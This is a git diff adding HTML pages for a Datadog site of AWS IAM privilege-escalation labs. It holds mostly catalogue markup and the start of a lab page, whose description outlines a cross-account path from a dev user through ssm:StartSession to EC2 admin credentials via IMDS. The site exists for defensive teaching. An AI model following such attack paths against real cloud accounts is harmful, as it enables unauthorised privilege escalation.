+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/ssm-startsession-ec2-admin/index.html b/docs/labs/ssm-startsession-ec2-admin/index.html
new file mode 100644
index 00000000..25820cdd
--- /dev/null
+++ b/docs/labs/ssm-startsession-ec2-admin/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Dev to Prod via SSM StartSession to EC2 with Admin Role - pathfinding.cloud Labs</title>
+    <meta name="description" content="Cross-account privesc: dev user assumes a prod pivot role, exploits ssm:StartSession to access an EC2 instance with an admin instance profile, then retrieves admin credentials via IMDS">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/ssm-startsession-ec2-admin/">
+    <meta property="og:title" content="Dev to Prod via SSM StartSession to EC2 with Admin Role - pathfinding.cloud Labs">
+    <meta property="og:description" content="Cross-account privesc: dev user assumes a prod pivot role, exploits ssm:StartSession to access an EC2 instance with an admin instance profile, then retrieves admin credentials via IMDS">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Dev to Prod via SSM StartSession to EC2 with Admin Role - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Cross-account privesc: dev user assumes a prod pivot role, exploits ssm:StartSession to access an EC2 instance with an admin instance profile, then retrieves admin credentials via IMDS">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
